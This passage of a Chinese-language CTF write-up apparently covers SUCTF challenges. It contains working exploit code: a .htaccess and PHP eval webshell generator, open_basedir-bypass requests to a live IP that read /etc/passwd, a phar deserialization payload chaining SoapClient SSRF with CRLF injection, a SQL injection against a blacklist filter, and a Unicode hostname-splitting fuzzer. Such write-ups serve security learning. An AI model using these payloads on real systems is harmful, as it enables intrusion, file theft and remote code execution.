part_hash: found = 1 break if found: break if found: break if found: break if found: break p.recvuntil("> ") p.sendline(ss) p.recvuntil("Guess the Secrets 3 times, Then you will get the flag!\n") for i in range(3): R = p.recvline().strip() p.recvuntil("n = ") n = eval(p.recvline().strip()) p.recvuntil("e = ") e = eval(p.recvline().strip()) p.recvuntil("The Encypted secret:") p.recvuntil("c = ") c = eval(p.recvline().strip()) c_of_2 = pow(2,e,n) m = partial((c*c_of_2)%n,e,n) p.recvuntil("Please input your option:") p.sendline("G") p.recvuntil('The secret:') p.sendline(str(m)) s = p.recvline().strip() print(s) log.success(s+' '+R+" success!") p.interactive()
题目功能是一个文件上传,可以上传jpg、png等文件,但是限制了php,而且还判断了上传的文件头,使用exif_image来判断的,这个很容易绕过,直接随便加一个图片文件头就行,并且上传之后会给出文件所在目录
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file(filename, script): phpfile = open(filename, 'wb') phpfile.write(script.encode('utf-16be')) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess(): htaccess = open('.htaccess', 'wb') htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .south\n') htaccess.write(b'php_value zend.multibyte 1\n') htaccess.write(b'php_value zend.detect_unicode 1\n') htaccess.write(b'php_value display_errors 1\n') htaccess.close() generate_htacess() generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")
http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"));
http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile("/THis_Is_tHe_F14g"));
#index.php <?php include 'class.php'; $userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]); if (!file_exists($userdir)) { mkdir($userdir, 0777, true); } if (isset($_POST["upload"])) { // 允许上传的图片后缀 $allowedExts = array("gif", "jpeg", "jpg", "png"); $tmp_name = $_FILES["file"]["tmp_name"]; $file_name = $_FILES["file"]["name"]; $temp = explode(".", $file_name); $extension = end($temp); if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png")) && ($_FILES["file"]["size"] < 204800) // 小于 200 kb && in_array($extension, $allowedExts) ) { $c = new Check($tmp_name); $c->check(); if ($_FILES["file"]["error"] > 0) { echo "错误:: " . $_FILES["file"]["error"] . "<br>"; die(); } else { move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension); echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension; } } else { echo "非法的文件格式"; } }
# func.php if (isset($_POST["submit"]) && isset($_POST["url"])) { if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){ die("Go away!"); }else{ $file_path = $_POST['url']; $file = new File($file_path); $file->getMIME(); echo "<p>Your file type is '$file' </p>"; } }
#class.php <?php include 'config.php'; class File{ public $file_name; public $type; public $func = "Check"; function __construct($file_name){ $this->file_name = $file_name; } function __wakeup(){ $class = new ReflectionClass($this->func); $a = $class->newInstanceArgs($this->file_name); $a->check(); } function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo); } function __toString(){ return $this->type; } } class Check{ public $file_name; function __construct($file_name){ $this->file_name = $file_name; } function check(){ $data = file_get_contents($this->file_name); if (mb_strpos($data, "<?") !== FALSE) { die("<? in contents!"); } } }
#admin.php <?php include 'config.php'; class Ad{ public $ip; public $port; public $clazz; public $func1; public $func2; public $func3; public $instance; public $arg1; public $arg2; public $arg3; function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){ $this->ip = $ip; $this->port = $port; $this->clazz = $clazz; $this->func1 = $func1; $this->func2 = $func2; $this->func3 = $func3; $this->arg1 = $arg1; $this->arg2 = $arg2; $this->arg3 = $arg3; } function check(){ $reflect = new ReflectionClass($this->clazz); $this->instance = $reflect->newInstanceArgs(); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1); $reflectionMethod->invoke($this->instance, $this->arg1); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2); $reflectionMethod->invoke($this->instance, $this->arg2); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3); $reflectionMethod->invoke($this->instance, $this->arg3); } function __destruct(){ getFlag($this->ip, $this->port); //使用你自己的服务器监听一个确保可以收到消息的端口来获取flag } } if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ if(isset($_POST['admin'])){ $ip = $_POST['ip']; //你用来获取flag的服务器ip $port = $_POST['port']; //你用来获取flag的服务器端口 $clazz = $_POST['clazz']; $func1 = $_POST['func1']; $func2 = $_POST['func2']; $func3 = $_POST['func3']; $arg1 = $_POST['arg1']; $arg2 = $_POST['arg2']; $arg2 = $_POST['arg3']; $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); } } else { echo "You r not admin!"; }
<?php $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt','text'); $phar->setStub('<script language="php">__HALT_COMPILER();</script>'); class File { public $file_name = ""; public $func = "SoapClient"; function __construct(){ $target = "http://127.0.0.1/admin.php"; $post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n"; $headers = []; $this->file_name = [ null, array('location' => $target, 'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string), 'uri'=>'hello') ]; } } $object = new File; echo urlencode(serialize($object)); $phar->setMetadata($object); $phar->stopBuffering();
把生成的test.phar改成test.jpg上传,然后访问php://filter/resource=phar://upload/2bc454e1fc8129de63d3c034e5c0c24f/0412c29576c708cf0155e8de242169b1.jpg
<?php session_start(); include_once "config.php"; $post = array(); $get = array(); global $MysqlLink; //GetPara(); $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); if(!$MysqlLink){ die("Mysql Connect Error!"); } $selectDB = mysqli_select_db($MysqlLink,$dataName); if(!$selectDB){ die("Choose Database Error!"); } foreach ($_POST as $k=>$v){ if(!empty($v)&&is_string($v)){ $post[$k] = trim(addslashes($v)); } } foreach ($_GET as $k=>$v){ } } //die(); ?> <html> <head> </head> <body> <a> Give me your flag, I will tell you if the flag is right. </ a> <form action="" method="post"> <input type="text" name="query"> <input type="submit"> </form> </body> </html> <?php if(isset($post['query'])){ $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\""; //var_dump(preg_match("/{$BlackList}/is",$post['query'])); if(preg_match("/{$BlackList}/is",$post['query'])){ //echo $post['query']; die("Nonono."); } if(strlen($post['query'])>40){ die("Too long."); } $sql = "select ".$post['query']."||flag from Flag"; mysqli_multi_query($MysqlLink,$sql); do{ if($res = mysqli_store_result($MysqlLink)){ while($row = mysqli_fetch_row($res)){ print_r($row); } } }while(@mysqli_next_result($MysqlLink)); } ?>
这一看,感觉跟之前自己fuzz的没啥区别,唯一可喜的就是看到了执行的语句,直接上payload吧,拼接后为:select *,2||flag from Flag
即可查出flag
这题简单明了,直接是用blackhat
议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
,其中关于python的如下图,具体PPT链接如下:PPT链接,我就不细说了
from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse def get_unicode(): for x in range(65536): uni=chr(x) url="http://suctf.c{}".format(uni) try: if getUrl(url): print("str: "+uni+' unicode: \\u'+str(hex(x))[2:]) except: pass def getUrl(url): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc': return False parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return False newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return False if __name__=="__main__": get_unicode()
根据题目提示Dont worry about the suctf.cc. Go on!
猜测应该是hosts文件suctf.cc
绑定了127.0.0.1
,既然是127.0.0.1
我们可以尝试用file协议读一下文件
这题是结合逆向的一道题,扫描一下发现有一个下载功能,可以读文件,但是试了一个常规的flag文件路径都读不到flag,猜测flag应该不在目录里面。还有一个info.php
也没有发现什么信息,猜测与题目名字有关,info.php里面搜索一下
#include <cstdio> #include <cstring> const char* remixedchar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; int num_strchr(const char *str, char c) { char *v2; // rax int result; // eax v2 = strchr((char*)str, c); if ( v2 ) result = v2 - str; else result = -1; return result; } void remix(const char *remixed, char *dedata) { char *v2; // r13 char v3; // si const char *v4; // rbx int v5; // rbp int v6; // er14 int j; // ST0C_4 int v8; // er14 int v9; // er15 v2 = dedata; v3 = *remixed; if ( *remixed ) { v4 = remixed + 1; v5 = 0; do { while ( 1 ) { v8 = 4 * num_strchr(remixedchar, v3); v9 = num_strchr(remixedchar, *v4); v2[(signed int)v5] = v8 | (v9 >> 4) & 3; if ( v4[1] != 61 ) break; v4 += 4; v3 = *(v4 - 1); v5 = v5 + 1; if ( !*(v4 - 1) ) goto LABEL_8; } v6 = num_strchr(remixedchar, v4[1]); v2[(signed int)v5 + 1] = (v6 >> 2) & 0xF | 16 * v9; if ( v4[2] == 61 ) { v5 = v5 + 2; } else { j = v5 + 2; v5 = v5 + 3; v2[j] = num_strchr(remixedchar, v4[2]) & 0x3F | (v6 << 6); } v4 += 4; v3 = *(v4 - 1); } while ( *(v4 - 1) ); LABEL_8: v5 = (signed int)v5; } else { v5 = 0LL; } v2[v5] = 0; }